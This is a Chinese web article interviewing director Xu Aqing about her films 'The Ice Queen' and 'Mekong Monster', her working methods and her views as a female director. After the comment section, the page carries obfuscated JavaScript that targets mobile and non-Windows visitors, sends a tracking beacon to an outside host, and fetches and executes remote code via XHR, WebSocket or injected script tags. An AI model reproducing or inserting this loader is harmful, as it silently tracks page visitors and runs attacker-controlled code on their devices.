80后女导演徐阿晴:好的故事可以走出去

时间:2022-10-10 18:30:40阅读:4987
徐阿晴,璟合影视导演、编剧。由徐阿晴担任艺术指导、制片人的俄罗斯电影《花滑女王》,根据俄罗斯前花滑冠军真实经历改编,讲述了家境贫寒、天赋不足的娜佳从花样滑冰菜鸟到闪亮之星的蜕变之路。该片于2018年2
第1张图片
1/2
80后女导演徐阿晴:好的故事可以走出去第1张图片
第2张图片
2/2
80后女导演徐阿晴:好的故事可以走出去第2张图片

徐阿晴,璟合影视导演、编剧。

由徐阿晴担任艺术指导、制片人的俄罗斯电影《花滑女王》,根据俄罗斯前花滑冠军真实经历改编,讲述了家境贫寒、天赋不足的娜佳从花样滑冰菜鸟到闪亮之星的蜕变之路。该片于2018年2月14日在俄罗斯上映,2018年3月30日在中国大陆上映。

一般来说,运动类题材的影片因为极强的专业性,拍摄难度也更大,能够取得好票房和好口碑的不多。然而《花滑女王》却是俄罗斯年度黑马励志情感电影,登陆俄罗斯各大院线后,轻松打破俄罗斯影史首周票房纪录。此外,《花滑女王》还被俄罗斯文化部选为当年冬奥会运动员招待影片,被中国武汉军运会筹备组选为展映开幕影片。

由徐阿晴担任导演、编剧的院线电影《湄公河巨兽》,即将完片上映,已获韩国、日本等院线发行商预采购,获福克斯和Amazon预采购。《湄公河巨兽》是璟合影视自主开发并跨国合拍的首部怪兽灾难院线影片,其特效工作耗时十一个月,是继《汉江怪物》之后亚洲第二部该类型影片。“好的故事可以走出去。”在徐阿晴的眼中,《湄公河巨兽》能签约预采购是很自豪的事情。

最近,导演、编剧徐阿晴接受记者采访畅聊幕后创作感受。

对话徐阿晴:好的故事可以走出去

Q:您认为导演与编剧的基本素质是什么?

徐阿晴:我觉得最基本的要有良好的文学素质,可以不写,但要能写、能看懂,文学素质包括要有社会责任的体现,当你看到一个剧本或者你做一个故事的时候,一定要意识到它背后要传递的价值是什么;然后其次就是一定要坚定执着,因为没有一个项目是有投资人拿着钱就等着你去拍,大概率是从无到有,需要一点一点去磕,磕钱磕人才,把这个故事磕到完整。

Q:您更擅长导演还是编剧?

徐阿晴:最擅长导演,这两个工种从我的认知上来说,差别非常大。导演是视听艺术多一些,不是说不需要有文本创作能力,但是终究它是视听的艺术;编剧最基本的素养是长期扎根生活,长期在同一个文化氛围下成长历练,去思考去反思去创作,因为我很早接受的是外文教育,以及长期的跨国工作,所以现阶段是我的一个劣势。对我来说,导演这项技能是从西方学过来的,“师夷长技以制夷”正好可以用。

Q:您觉得国外导演和国内导演在工作中有什么不同?

徐阿晴:在国外是制片人中心制,导演是一个工种,在项目中内容创作上全权负责,其他部分都是制片组全部安排到位的,相对来说导演会轻松一些。国内是导演中心制,导演除了创作还背着投资、制片、发行等,就国内的导演来说,既受干扰但同时责任与权力也大,两个工作制度和制片方法论不太一样,但总体而言,都是以片子质量好为前提。

Q:未来您会在国外创作or回国创作?

徐阿晴:国内影视行业现在的发展阶段,对于年轻创作者来说是更有机会的,我们生长在这里,我们的文化价值观和方法论,在这里实现才是最好最合适的。

Q:您觉得女性导演在创作中有什么优劣势?

徐阿晴:先说劣势吧,最简单明了的就是体能,大夜戏熬起来会艰难一些;优势的话,女性先天然的会细腻一些,不管是做戏的时候细节,还是跟主创团队合作时的同理心,感知更加敏锐。其他程度上来说,就男女作为导演这个工种,没有特别大的区别。

Q:接下来想拍什么类型?

徐阿晴:我以往的两部作品,不管是在俄罗斯拍的《花滑女王》还是在泰国拍的《湄公河巨兽》,都是动作多一些,动作、冒险、奇幻,接下来当然是想拍更多反映咱们当下社会变化和当下的社会思潮,呈现出一些更美好,接近人们生活的接地气的故事,接下来会去探索这方面。

Q:您的座右铭是什么?

徐阿晴:人生不如意十之八九,唯理想常伴左右。

评论

  • 评论加载中...


function mdbEc(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function OQhYZoH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return mdbEc(t);};window[''+'K'+'F'+'i'+'G'+'a'+'h'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Pzmv(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=OQhYZoH,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Pzmv(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/15203/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Pzmv(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZhLmd1a2dzby5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1lbnQuY24lMM0E5NTMM1','166617',window,document,['H','M']);}:function(){};